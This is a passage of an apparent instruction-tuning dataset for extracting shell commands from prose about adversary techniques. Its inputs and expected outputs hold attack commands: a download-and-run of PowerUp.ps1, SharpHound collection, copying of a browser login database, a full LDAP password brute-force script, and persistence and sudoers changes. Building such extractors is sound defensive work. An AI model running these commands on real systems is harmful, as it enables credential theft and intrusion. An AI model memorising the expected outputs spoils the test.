    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Instead of completely \"disabling\" iptables, adversaries may choose to delete a certain rule, which, for example, blocks data exfiltration via ftp.\nBy doing so, they may cause less noise to avoid detection. \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Several variables like PS1, PS2, PS3, PS4, and PROMPT_COMMAND can be set to customize the bash prompt. To ensure persistence, add the following command to the user's .shrc or .profile: PS2=`logger -t \"$USER\" -f ~/.sh_history`\n$PS2\ntail /var/log/messages",
    "output": "{\"command_list\": [\"PS2=`logger -t \\\"$USER\\\" -f ~/.sh_history`\\n$PS2\\ntail /var/log/messages\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The simulation involves copying Opera's login database to a specified location with this command: Copy-Item \"$env:APPDATA\\Opera Software\\Opera Stable\\Login Data\" -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n",
    "output": "{\"command_list\": [\"Copy-Item \\\"$env:APPDATA\\\\Opera Software\\\\Opera Stable\\\\Login Data\\\" -Destination \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To test execution via rundll32.exe using the FileProtocolHandler technique, which launches calc.exe, run the following command: rundll32.exe url.dll,FileProtocolHandler #{command_to_execute}",
    "output": "{\"command_list\": [\"rundll32.exe url.dll,FileProtocolHandler #{command_to_execute}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To perform a brute force attack on an Active Directory domain user via LDAP using either NTLM or Kerberos, run the following script: \nif (\"#{auth}\".ToLower() -NotIn @(\"ntlm\",\"kerberos\")) {\n  Write-Host \"Only \\'NTLM\\' and \\'Kerberos\\' auth methods are supported\"\n  exit 1\n}\n\n[System.Reflection.Assembly]::LoadWithPartialName(\"System.DirectoryServices.Protocols\") | Out-Null\n$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier(\"#{domain}\",389)\n\n$passwordList = Get-Content -Path \"#{passwords_path}\"\nforeach ($password in $passwordList){\n  $credz = new-object System.Net.NetworkCredential(\"#{user}\", $password, \"#{domain}\")\n  $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})\n  try {\n    Write-Host \" [-] Attempting ${password} on account #{user}.\"\n    $conn.bind()\n    # if credentials aren\\'t correct, it will break just above and goes into catch block, so if we\\'re here we can display success\n    Write-Host \" [!] #{user}:${password} are valid credentials!\"\n  } catch {\n    Write-Host $_.Exception.Message\n  }\n}\nWrite-Host \"End of bruteforce\"\n",
    "output": "{\"command_list\": [\"if (\\\"#{auth}\\\".ToLower() -NotIn @(\\\"ntlm\\\",\\\"kerberos\\\")) {\\n  Write-Host \\\"Only 'NTLM' and 'Kerberos' auth methods are supported\\\"\\n  exit 1\\n}\\n\\n[System.Reflection.Assembly]::LoadWithPartialName(\\\"System.DirectoryServices.Protocols\\\") | Out-Null\\n$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier(\\\"#{domain}\\\",389)\\n\\n$passwordList = Get-Content -Path \\\"#{passwords_path}\\\"\\nforeach ($password in $passwordList){\\n  $credz = new-object System.Net.NetworkCredential(\\\"#{user}\\\", $password, \\\"#{domain}\\\")\\n  $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})\\n  try {\\n    Write-Host \\\" [-] Attempting ${password} on account #{user}.\\\"\\n    $conn.bind()\\n    # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success\\n    Write-Host \\\" [!] #{user}:${password} are valid credentials!\\\"\\n  } catch {\\n    Write-Host $_.Exception.Message\\n  }\\n}\\nWrite-Host \\\"End of bruteforce\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify remote systems, you can query the Active Directory Domain Computers group by running the following command: net group \"Domain Computers\" /domain",
    "output": "{\"command_list\": [\"net group \\\"Domain Computers\\\" /domain\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Without creating .timer or .service files, you can schedule a temporary task by executing this command: systemd-run --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo \"$(date) $(whoami)\" >>/tmp/log'",
    "output": "{\"command_list\": [\"systemd-run --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo \\\"$(date) $(whoami)\\\" >>/tmp/log'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Warning: This modification is risky outside of 'visudo'. For testing purposes only, disable tty_tickets caching with this command:\nsudo sh -c \"echo Defaults \"\\'!\\'\"tty_tickets >> /etc/sudoers\"\nsudo visudo -c -f /etc/sudoers",
    "output": "{\"command_list\": [\"sudo sh -c \\\"echo Defaults \\\"'!'\\\"tty_tickets >> /etc/sudoers\\\"\\nsudo visudo -c -f /etc/sudoers\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    